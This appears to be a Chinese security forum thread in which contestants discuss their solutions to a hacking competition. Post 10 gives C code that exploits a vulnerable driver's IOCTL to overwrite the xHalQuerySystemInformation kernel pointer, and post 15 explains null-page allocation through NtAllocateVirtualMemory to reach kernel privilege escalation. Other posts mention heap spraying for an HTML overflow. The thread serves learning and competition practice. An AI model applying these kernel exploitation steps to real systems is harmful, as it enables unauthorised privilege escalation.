能力值:
( LV2,RANK:10 )
|
-
-
2 楼
跟顶泉哥...
|
能力值:
( LV4,RANK:50 )
|
-
-
3 楼
网上搜不到的技术,那是商业机密了吧,
|
能力值:
(RANK:350 )
|
-
-
4 楼
顶泉哥,学习
|
能力值:
( LV12,RANK:270 )
|
-
-
5 楼
支持一下~~我是在后3道题都在网上找到资料之后,就不太想做了~~
|
能力值:
( LV17,RANK:1820 )
|
-
-
6 楼
第五题的shellcode应该是出题者自己写的,问的题目也大多是关于shellcode,跟网上那些样本分析的不一样,没分析过里面的shellcode,等调查者来作答!
|
能力值:
( LV6,RANK:80 )
|
-
-
7 楼
第3题 没问跳板吧 直接Heap Spray就OK啊,时间很长,超级卡。12题没做,完全不会,也不准备提交了。第5题直接调shellcode也可以得到信息,是否触发沙盒应该可以监控到程序行为,或许是触发了,你自己还没搞清楚,exploitme.doc被改写了就表示触发了。泉哥全能型人才啊,从渗透到内核,佩服中。
|
能力值:
( LV12,RANK:210 )
|
-
-
8 楼
第七题如果用户有SE_LOCK_MEMORY_NAME权限,可以参考MSDN中的《AWE Example》,自己申请一片物理内存,映射为虚拟地址,往里面填东西后,再把申请好的物理内存地址传给驱动去覆盖。但这种方式得在管理员下利用。
通用点的方法是:物理内存地址从0x1000开始遍历,驱动输入缓冲区0xC处填一个用户态的地址A,然后传给驱动,驱动把物理内存地址B处的值C写到指定的用户态地址A里,(C需要是用户态的地址,最好是0,因为一般情况下0地址没人用)然后将得到的C值做为起始地址分配一段内存,往里面填东西后,把B传给驱动去覆盖内核里面的某个函数D。这样当在内核里面调用这个函数时,实际上访问的是在用户态下分配的C处的代码。
这种方法不需要考虑地址的转换。
|
能力值:
( LV17,RANK:1820 )
|
-
-
9 楼
搞html 溢出的,大多想到的利用方试还是heap spary吧,呵呵,不过当时在做题前有想到过这方法,但分析时想直接回跳到前方的shellcode,结果没找到指令,那时都凌晨了就放弃了,当时确实把heap spary 给忘记了……
关于第5题确实是没触发,我早就监控了,我有问朋友了,触 发的话会生成tmp.doc的,我的没有执行shellcode,有个朋友甚至直接崩溃掉了,没触发sh。我的exploitme.doc也没改写,我有监控进程行为的。
|
能力值:
( LV17,RANK:1820 )
|
-
-
10 楼
我指的是最后一题的最后一问没搞定!就是写内核基址那个,我原本还想暴力搜索物理内存,找到那串数据被映射到的物理地址,但等了半个多小时还没找到,求KiDebug指点……
但最后一题我是提权了,下面是我用的方法,KiDebug大牛指点下:
// 向地址0x0处写入数据0x00000000,
ULONG InternalBuffer = 0;
SystemBuffer[0] = sizeof(ULONG);
SystemBuffer[2] = 0;
SystemBuffer[3] = (ULONG)&InternalBuffer;
for(i=0; i<PAGE_SIZE; i++)
{
SystemBuffer[1] = i;
NtStatus = NtDeviceIoControlFile(
DeviceHandle,
NULL,
NULL,
NULL,
&IoStatusBlock,
IOCTL_CODE,
SystemBuffer,
16,
SystemBuffer,
16);
if(NtStatus)
{
printf(" [*] NtStatus of NtDeviceIoControlFile - 0x%.8X\n", NtStatus);
return NtStatus;
}
if(InternalBuffer == 0x00000000)
break;
}
// 利用漏洞将0x0处的4字节数据(0x00000000)写入xHalQuerySystemInformation函数地址
SystemBuffer[0] = sizeof(ULONG);
SystemBuffer[1] = i;
SystemBuffer[2] = 0;
SystemBuffer[3] = (ULONG)xHalQuerySystemInformation;
NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_CODE, // IoControlCode
SystemBuffer, // InputBuffer
16, // InputBufferLength
SystemBuffer, // OutputBuffer
16); // OutBufferLength
|
能力值:
( LV12,RANK:320 )
|
-
-
11 楼
膜拜我楼上
|
能力值:
( LV2,RANK:150 )
|
-
-
12 楼
善于搜索资料才是一种本事!
看来谁搜索到了谁就能够解决一定的问题了。这对于比赛来说并不好。但现实就是这样。
|
能力值:
( LV12,RANK:270 )
|
-
-
13 楼
看了讨论,感觉自己错过了一些很精彩的东西~~ KiDebug说的"C需要是用户态的地址,最好是0,因为一般情况下0地址没人用",在Windows中内存地址从0x0000到0xffff不是所谓的无效断点分配分区么?是不能被使用的?额,核编上说的是win2000,感觉Windows后续的系统也应该保留了这点吧?
|
能力值:
( LV2,RANK:10 )
|
-
-
14 楼
第二题那个<a> tag 的方法需要用户点击吗?
|
能力值:
( LV12,RANK:210 )
|
-
-
15 楼
哎,大牛谈不上,我只是个小菜牛。。。。 // 向地址0x0处写入数据0x00000000,
ULONG InternalBuffer = 0;
SystemBuffer[0] = sizeof(ULONG);
SystemBuffer[2] = 0;
SystemBuffer[3] = (ULONG)&InternalBuffer;
这儿你的理解有误。假设物理地址 i 处保存的数据为X,驱动将把X写到InternalBuffer这个变量里面。接下来判断如果InternalBuffer为0,那么就说明物理地址 i 处保存的也是0。然后再次把 物理地址 i 传给驱动,把它里面保存的0用来覆盖掉xHalQuerySystemInformation
“写内核基址”不需要再靠那个驱动去改,既然能进内核了,那就想改啥就改啥了,直接在shellcode里面改ntoskrnl前面的0x10个字节。
VirtualAlloc调用VirtualAllocEx,在VirtualAllocEx里面会比较传入的起始地址是不是小于BaseStaticServerData+0x13C处的值,这个值是0x10000,如果小于的话就返回失败,大于的话继续调用NtAllocateVirtualMemory。所以要分配从0开始的一段内存就得直接调用NtAllocateVirtualMemory,并且传入的起始地址要大于0,像1、2、3、4…都可以,0的话Windows就自作主张地随便选个地方分配,就不是从0开始了。内存按一整页开始分配,传入一页中间的一个地址(1、2、3、4…),分配好了后就返回页的起始地址,也就是0。
传份我写的源代码和EXE
|
能力值:
( LV17,RANK:1820 )
|
-
-
16 楼
[QUOTE=KiDebug;955016]哎,大牛谈不上,我只是个小菜牛。。。。
// 向地址0x0处写入数据0x00000000,
ULONG InternalBuffer = 0;
SystemBuffer[0] = sizeof(ULONG);
SystemBuffe...[/QUOTE]
看了上述讨论,发觉这次比赛犯了一些很低级的错误:heap spary 忘记用上了,进驱动了又不晓得向内核基址写入数据,不过这也是算是第一次写提权程序,都是改网上的代码,算是一次学习了!
|
能力值:
( LV17,RANK:1820 )
|
-
-
17 楼
[QUOTE=KiDebug;955016]哎,大牛谈不上,我只是个小菜牛。。。。
// 向地址0x0处写入数据0x00000000,
ULONG InternalBuffer = 0;
SystemBuffer[0] = sizeof(ULONG);
SystemBuffe...[/QUOTE]
KiDebug牛的代码还真是精简啊,学习下!!!
内核提权利用我也是这些天狂补,用来应付这次比赛的,主要就是看黑防上面的文章,比赛写的代码也都是修改上面的代码,也算提权了,但确实忽略很多细节,犯了不少低级错误!
KiDebug牛第5题有研究没,我这边无法触发shellcode,放弃了,你这次应该有提交答案吧,有的话顺便也贴出来吧,哈哈……
|
能力值:
( LV12,RANK:210 )
|
-
-
18 楼
对XSS、App Exploit Me这些不感兴趣
然后又看到6、7两个在网上一搜一大把,然后就懒得去做,啥都没提交。
|
能力值:
( LV17,RANK:1820 )
|
-
-
19 楼
太多人如此了,搞脚本的,不搞app exploit,搞app exploit 又不搞内核,术业有专攻嘛,呵呵
这次比赛整体都不是很难,只是考得要求比较全面些而已……
|
能力值:
( LV4,RANK:50 )
|
-
-
20 楼
你是不是2003 和 2007 一起安装了,
我一开始也是触发不了,后来卸载了2007就可以触发了,
如果其他情况就不清楚了
|
能力值:
( LV2,RANK:10 )
|
-
-
21 楼
不是写SSDT会蓝屏吗?我这一直蓝屏啊 你们不蓝?
|
能力值:
( LV8,RANK:120 )
|
-
-
22 楼
跟不上泉哥的脚步啊
|
能力值:
( LV2,RANK:10 )
|
-
-
23 楼
厉害....学习了.....
|
能力值:
( LV2,RANK:150 )
|
-
-
24 楼
泉哥三个方向都通吃。不错。
|
能力值:
( LV17,RANK:1820 )
|
-
-
25 楼
我的虚拟机xp是刚安装不久,之前没有安装任何office,我安装2003和sp3补丁后,对下版本号是正确的,可是还是无法触法shellcode
|
|
|